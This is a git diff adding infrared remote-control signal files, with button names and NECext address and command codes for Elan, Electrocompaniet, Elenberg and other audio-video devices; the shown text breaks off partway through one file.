100644 index 000000000..fdf26965d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: DND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: BASS_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: TREBLE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: TREB_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: SOURCE_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: SOURCE_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: SOURCE_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: SOURCE_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: SOURCE_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: EQ_FLAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: WHOLEHOUSE_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: WHM_ON_(GROUP) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: LOUDNESS_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: SPATIAL_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: SPATIAL_ENHANCE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: BASS_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: TREBLE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: TREB_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: SOURCE_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: WHOLEHOUSE_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: WHM_OFF_(UNGROUP) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: SYSTEM_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: SYSTEM_ALL_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir new file mode 100644 index 000000000..884dede05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: XM1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: XM2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: XM3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 19 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1D 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 23 00 00 00 +# +name: DIR +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir new file mode 100644 index 000000000..1ed9b3d41 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 07 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0A 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0B 00 00 00 +# +name: TUNING/_PRESET_UP +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0C 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0C 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0C 00 00 00 +# +name: TUNING/_PRESET_DOWN +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0D 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0D 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0D 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0E 00 00 00 +# +name: PRRESET_SELECT +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0F 00 00 00 +# +name: PRESET_SELECT +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 0F 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 10 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 11 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 16 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 16 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 17 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 18 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 19 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1E 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 1F 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 4A 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 4B 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 4E 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 50 00 00 00 +# +name: FM_MODE +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 51 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 53 00 00 00 +# +name: PWR_OFF +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 54 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 56 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 57 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 58 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 59 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5E 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 81 73 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir new file mode 100644 index 000000000..ed8814f08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Controller/0,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Z1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Z2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Z3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Z4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: Z5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Z6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Z7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: Z8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: MAN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: S1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: S2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: S3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: S4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: S5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: S6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: S7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: S8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir new file mode 100644 index 000000000..0ae3bbfe8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/0,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: O9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: O10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: O1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: O2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: O3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: O4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: O13 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: O5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: O6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: O7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: O8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: O14 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: O11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: O12 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: O15 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: MANUAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: I1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: I2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: I3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: I4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: I5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: I6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: I7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: I8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: O16 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir new file mode 100644 index 000000000..b408499ea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Video Switcher/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: O17 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: O18 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: O19 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: O20 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: O21 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: O22 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 35 00 00 00 +# +name: O23 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: O24 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir new file mode 100644 index 000000000..0e97ef55a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/0,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir new file mode 100644 index 000000000..76e9aa2fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/1,241.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 F1 00 00 +command: 53 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 F1 00 00 +command: 55 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 F1 00 00 +command: 59 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 F1 00 00 +command: 5A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 F1 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir new file mode 100644 index 000000000..5e369d665 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elan/Volume Control/255,15.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ID2 +type: parsed +protocol: NECext +address: FF 0F 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir new file mode 100644 index 000000000..7d7a9cb3e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/CD Player/20,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: FAST +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir new file mode 100644 index 000000000..f22d69c5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Electrocompaniet/Integrated Amplifier/16,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir new file mode 100644 index 000000000..467d51e9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Electrokinetics/Plasma Lift/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: UP_COMMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir b/assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir new file mode 100644 index 000000000..717754b78 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elenberg/Unknown_RC-404E/0,251.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 08 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 09 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0C 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 0E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 13 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 15 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 16 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 17 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 18 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 19 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1A 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1B 00 00 00 +# +name: V-MODE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1D 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1E 00 00 00 +# +name: N/P +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 1F 00 00 00 +# +name: FAST_BACKWARD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 40 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 41 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 42 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 43 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 44 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 45 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 48 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 49 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4C 00 00 00 +# +name: PREWIEW +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 4F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 50 00 00 00 +# +name: L/R/ST +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 51 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 52 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 FB 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir new file mode 100644 index 000000000..f625bdd9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 